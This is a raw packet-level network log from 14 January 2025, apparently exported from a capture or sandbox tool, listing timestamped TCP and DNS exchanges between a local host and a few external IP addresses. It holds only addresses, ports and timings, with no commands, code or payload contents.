                                                                                                                                                        Jan 14, 2025 08:08:15.611998081 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.612070084 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.612673998 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.612745047 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.613081932 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.613142967 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.693207979 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.693305016 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.693305016 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.693336010 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.693367958 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.693387985 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.824662924 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.824743032 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.824836969 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.824898958 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.824955940 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.825017929 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.825181007 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.825241089 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.825524092 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.825587034 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.825639009 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.825716019 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.825751066 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.825803995 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.825993061 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.826045036 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.826273918 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.826354980 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.826369047 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.826422930 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.826575041 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.826636076 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.826730967 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.826790094 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.826982021 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.827044010 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.827092886 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.827164888 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.827203989 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.827267885 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.827424049 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.827483892 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.911581039 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.911650896 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.911715031 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.911767960 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.911828995 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.911876917 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.911952972 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.912012100 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.912066936 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.912128925 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.912190914 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.912249088 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.912292004 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.912348986 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.912733078 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.912790060 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.912956953 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.913009882 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.913060904 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.913119078 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.913182020 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.913238049 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.913265944 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.913320065 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.913435936 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.913495064 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.042515039 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.042598963 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.042681932 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.042745113 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.042803049 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.042862892 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.042905092 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.042965889 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.043036938 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.043093920 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.043139935 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.043203115 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.043442011 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.043531895 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.043654919 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.043735027 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.043781996 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.043844938 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.044217110 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.044282913 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.044334888 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.044399023 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.044442892 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.044496059 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.044528008 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.044589043 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.044852018 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.044914007 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.045066118 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.045130968 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.045172930 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.045234919 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.045257092 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.045320034 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.128839970 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.128905058 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.128916025 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.128926992 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.128957033 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.128973961 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.129023075 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.129071951 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.129185915 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.129230976 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.129543066 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.129614115 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.129739046 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.129791021 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.129878998 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.129931927 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.130299091 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.130367041 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.130400896 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.130446911 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.130707979 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.130770922 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.130820036 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.130871058 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.130956888 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.131020069 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.131094933 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.131145954 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.131207943 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.131270885 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.131340981 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.131398916 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.131480932 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.131531954 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.260179996 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.260261059 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.260315895 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.260386944 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.260690928 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.260752916 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.260781050 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.260840893 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.261063099 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.261126041 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.261187077 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.261248112 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.261322021 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.261372089 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.261460066 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.261517048 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.261555910 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.261610985 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.261620998 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.261656046 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.261710882 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.261754036 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.261972904 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.261989117 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:16.261997938 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:16.262001991 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:22.190680027 CET4975480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:22.195666075 CET8049754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:22.195754051 CET4975480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:22.196283102 CET4975480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:22.201098919 CET8049754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:23.021819115 CET8049754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:23.025568008 CET4975480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:23.030510902 CET8049754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:23.304986000 CET8049754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:23.466368914 CET4975480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:23.765882969 CET49757443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:23.765916109 CET44349757104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:23.766660929 CET49757443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:23.782708883 CET49757443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:23.782728910 CET44349757104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.252933025 CET44349757104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.253015041 CET49757443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:24.260711908 CET49757443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:24.260730982 CET44349757104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.261198997 CET44349757104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.466321945 CET49757443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:24.518202066 CET49757443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:24.559338093 CET44349757104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.628225088 CET44349757104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.628335953 CET44349757104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.628386021 CET49757443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:24.642575026 CET49757443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:24.650568962 CET4975480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:24.655550003 CET8049754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.938235044 CET8049754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.940628052 CET49758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:24.940721035 CET44349758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:24.940825939 CET49758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:24.941328049 CET49758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:24.941410065 CET44349758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.098612070 CET4975480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:25.427249908 CET44349758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.430160999 CET49758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:25.430260897 CET44349758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.505357027 CET5274153192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:25.510242939 CET53527411.1.1.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.510468006 CET5274153192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:25.510468006 CET5274153192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:25.515332937 CET53527411.1.1.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.580059052 CET44349758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.580214024 CET44349758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.580410004 CET49758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:25.580540895 CET49758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:25.584059000 CET4975480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:25.585232973 CET5274280192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:25.589092970 CET8049754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.589148998 CET4975480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:25.590087891 CET8052742132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.590145111 CET5274280192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:25.590271950 CET5274280192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:25.595031023 CET8052742132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.964489937 CET53527411.1.1.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.965481997 CET5274153192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:25.970608950 CET53527411.1.1.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:25.970717907 CET5274153192.168.2.41.1.1.1
                                                                                                                                                        Jan 14, 2025 08:08:26.410264969 CET8052742132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:26.412103891 CET52744443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:26.412205935 CET44352744104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:26.412303925 CET52744443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:26.412631035 CET52744443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:26.412667036 CET44352744104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:26.450742006 CET5274280192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:27.782176971 CET44352744104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:27.783858061 CET52744443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:27.783947945 CET44352744104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:27.927634001 CET44352744104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:27.927675962 CET44352744104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:27.927762032 CET52744443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:27.928102970 CET52744443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:27.932231903 CET5274580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:27.937093019 CET8052745132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:27.937180996 CET5274580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:27.937289953 CET5274580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:27.942091942 CET8052745132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:28.842770100 CET8052745132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:28.861211061 CET52746443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:28.861314058 CET44352746104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:28.861418009 CET52746443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:28.861838102 CET52746443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:28.861921072 CET44352746104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:28.888226032 CET5274580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:29.330133915 CET44352746104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:29.331756115 CET52746443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:29.331841946 CET44352746104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:29.469213963 CET44352746104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:29.469377041 CET44352746104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:29.469518900 CET52746443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:29.474735975 CET52746443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:29.477653980 CET5274580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:29.478668928 CET5274780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:29.482853889 CET8052745132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:29.482956886 CET5274580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:29.483511925 CET8052747132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:29.483582973 CET5274780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:29.483717918 CET5274780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:29.488512993 CET8052747132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.320014954 CET8052747132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.326232910 CET52748443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:30.326277971 CET44352748104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.327343941 CET52748443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:30.327697039 CET52748443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:30.327708960 CET44352748104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.372611046 CET5274780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:30.788410902 CET44352748104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.789880991 CET52748443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:30.789901018 CET44352748104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.931499958 CET44352748104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.931658030 CET44352748104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.931710958 CET52748443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:30.936647892 CET52748443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:30.943155050 CET5274780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:30.948414087 CET8052747132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.948456049 CET5274980192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:30.948488951 CET5274780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:30.953396082 CET8052749132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:30.953634977 CET5274980192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:30.953635931 CET5274980192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:30.960494995 CET8052749132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:31.802824020 CET8052749132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:31.808937073 CET52750443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:31.808973074 CET44352750104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:31.809076071 CET52750443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:31.809484005 CET52750443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:31.809510946 CET44352750104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:31.847755909 CET5274980192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:32.290600061 CET44352750104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:32.292741060 CET52750443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:32.292768955 CET44352750104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:32.440965891 CET44352750104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:32.441087008 CET44352750104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:32.441379070 CET52750443192.168.2.4104.21.16.1
